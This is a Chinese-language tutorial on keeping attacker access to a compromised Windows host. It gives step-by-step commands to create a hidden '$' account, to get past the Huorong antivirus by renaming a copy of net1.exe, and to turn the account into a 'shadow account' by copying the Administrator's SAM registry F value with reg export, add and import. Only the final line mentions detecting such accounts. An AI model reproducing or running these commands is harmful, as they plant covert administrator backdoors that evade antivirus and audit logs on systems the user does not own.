# Windows 安全
通常黑客在通过某个漏洞入侵系统后,为防止管理员修补漏洞后无法继续访问,便会在系统留下各种后门方便自己下次再次访问,也是网络上常说的权限维持,这是一件极其重要的事,常用的权限维持有建立系统隐藏账户、上传木马后门程序、创建计划任务和启动任务、映像劫持等
这里只简单的说一下建立 windows  操作系统的隐藏账户方法,假设我已经拿到了某主机的远程 shell  权限

# 添加系统隐藏账号
在 Windows  系统中,如果新建账号的结尾加上 $ 符合,则表示这个是一个隐藏账号,该账号在命令行中使用 net user  无法查看,但是在图形化界面中的用户管理界面是能够看到的
首先用 net user  查看当前系统有哪些用户
- net user

然后用 net user  命令添加一个隐藏账号
- net user bob$ /add *

执行命令后一直卡了很久并且没有回显,用 wmic  查看 sid  确认命令是否执行成功
- wmic useraccount get name,sid

很明显前面添加用户的命令没有执行成功,这种情况一般是被安全软件拦截了,用 wmic  查看当前系统是否安装了防病毒软件
- wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname /format:list

发现对方安装了火绒,这个直接 net1  绕过即可
- copy net1.exe log.txt
- log.txt user bob$ P@sswd /add

通过查看 SID  的命令也发现用户添加成功了,直接用 net user  是不显示这个账户的

但是 net user  指定账户名可以查询到这个账户的信息
- net user bob$

# 升级影子账户
目前这个账户还是普通的 user  权限,接下来就是将该隐藏账号升级到影子账户,让它不在图形化界面的用户管理器中显示,使其更具备隐藏性
首先查看该账户在注册表中的用户名键值类型,由于我目前的远程 shell  是 system  权限,可以直接操作注册表 HKLM\SAM  下的键值,如果是 administrator  需要添加 SAM  键的权限
需要先导出 names  下面的 bob$  默认的值,然后查看该值的类型值
- 
reg export hklm\sam\sam\domains\account\users\names\bob$ %temp%\1.reg
- 
type %temp%\1.reg

可以看到 type  尾数是 3eb ,接下来就是将 administrator  账户的 SID  键对应的 " F " 值数据复制到 3eb  子键下的 " F " 值数据,这样 bob$  这个账户的登录信息就会映射到 administrator  这个账户
首先查看 administrator  账户的 " F " 值数据,administrator 默认键是 000001F4 , 其它账户自己查看
- reg query hklm\sam\sam\domains\account\users\000001F4 /v F

复制该值数据,写入到 bob$  对应的 SID  子键下 " F " 值数据,然后把 bob$  对应的键 000003EB  导出
- 
reg add hklm\sam\sam\domains\account\users\000003EB /v F /t REG_BINARY /d "03000100000000009A2F72C845FAD70100000000000000004411658129FAD70100000000000000000000000000000000F401000001020000100200000000000000000200010000000000000000000A00"
- 
reg export hklm\sam\sam\domains\account\users\000003EB %temp%\2.reg

现在把 bob$ 这个账户从计算机删除,还是用之前 net1 副本操作,不然会被火绒拦截
- log.txt user bob$ /del

接下来就是将之前导出的 1.reg 和 2.reg 导入到注册表,这样影子账户就建立好了
- reg import %temp%\1.reg && reg import %temp%\2.reg

影子账户具备有较高的隐藏性,它不会出现在 net user  输出内容中,也不会出现在图形化的用户管理界面,不会创建登录用户文件夹,由于影子账户是映射到 administrator  账号,所以系统仅记录 administrator  的登录记录,并且跟 administrator  共享权限和同一个桌面
如果想查看系统是否存在影子账户,可以用前面的  wmic useraccount get name,sid  查看,另外网上也有一些查看影子账户的小工具,这个自行百度吧
